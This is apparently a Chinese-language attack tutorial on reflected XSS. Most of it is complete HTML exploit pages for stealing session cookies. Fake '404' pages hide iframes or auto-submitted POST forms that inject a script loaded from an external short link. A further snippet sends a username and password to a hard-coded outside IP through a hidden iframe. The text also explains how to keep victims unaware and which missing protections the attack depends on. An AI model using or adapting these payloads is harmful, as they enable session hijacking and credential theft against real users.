我們現在發現一個網站存在反射型XSS,當用戶登錄該網站時,我們通過誘使用戶點擊我們精心制作的惡意鏈接,
來盜取用戶的Cookie並且發送給我們,然后我們再利用盜取的Cookie以用戶的身份登錄該用戶的網站。
get型
當我們輸入參數的請求類型的get類型的,即我們輸入的參數是以URL參數的形式。如下圖
那么,我們要怎么構造惡意代碼來誘使用戶點擊並且用戶點擊后不會發現點擊了惡意鏈接呢?
我們構造了如下代碼,將其保存為html頁面,然后放到我們自己的服務器上,做成一個鏈接。
當用戶登錄了存在漏洞的網站,並且用戶點擊了我們構造的惡意鏈接時,該鏈接頁面會偷偷打開iframe框架,iframe會訪問其中的鏈接,然后執行我們的js代碼。
該js代碼會把存在漏洞網站的cookie發送到我們的平台上,但是用戶卻渾然不知,他會發現打開的是一個404的頁面!
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 頁面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要訪問的頁面不存在!
</h3>
</div>
</div>
</div>
</body>
</html>
而我們的XSS平台將得到用戶的Cookie,然后我們就可以利用得到的Cookie以用戶的身份訪問該網站了。
我們的攻擊代碼可以利用的前提是存在XSS漏洞的網站的X-Frame-options未配置,並且會話Cookie沒有設置Http Only屬性 .
post型
當 我們現在知道一個網站的用戶名輸入框存在反射型的XSS漏洞
用burp進行抓包
將其保存為html頁面,然后放到我們自己的服務器上,做成一個鏈接。當用戶登錄了存在漏洞的網站,
並且用戶點擊了我們構造的惡意鏈接時,該惡意鏈接的頁面加載完后會執行js代碼,完成表單的提交,表單的用戶名參數是我們的惡意js代碼。
提交完該表單后,該js代碼會把存在漏洞網站的cookie發送到我們的平台上,但是用戶卻渾然不知,他會發現打開的是一個404的頁面。
我們這里寫了一個404頁面,404頁面中隱藏了一個form提交的表單,為了防止提交表單后跳轉,
我們在表單下加了一個iframe框架,並且iframe框架的name等於form表單的target,並且我們設置iframe框架為不可見。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 頁面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微軟雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要訪問的頁面不存在!
</h3>
</div>
</div>
<form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
<input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
<input type="hidden" name="password" value="1">
</form>
<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
當用戶點擊了我們構造的惡意鏈接,發現打開的是一個404頁面。
實際上這個頁面偷偷的進行了表單的提交。
而我們的XSS平台也收到了發送來的數據(這數據中沒有Cookie的原因是這個網站我沒設置Cookie,只是隨便寫的一個頁面)。
利用JS將用戶信息發送給后台
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function(){
//我們現在假如 user和pass是我們利用js獲得的用戶的用戶名和密碼
user="admin";
pass="root";
url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame);
//添加一個iframe框架,並設置不顯示。這個框架會偷偷訪問該鏈接。
});
</script>
</head>
<body id="body">
<h3>hello,word!</h3>
</body>
</html>
當用戶訪問了該頁面,我們后台就可以看到用戶訪問記錄。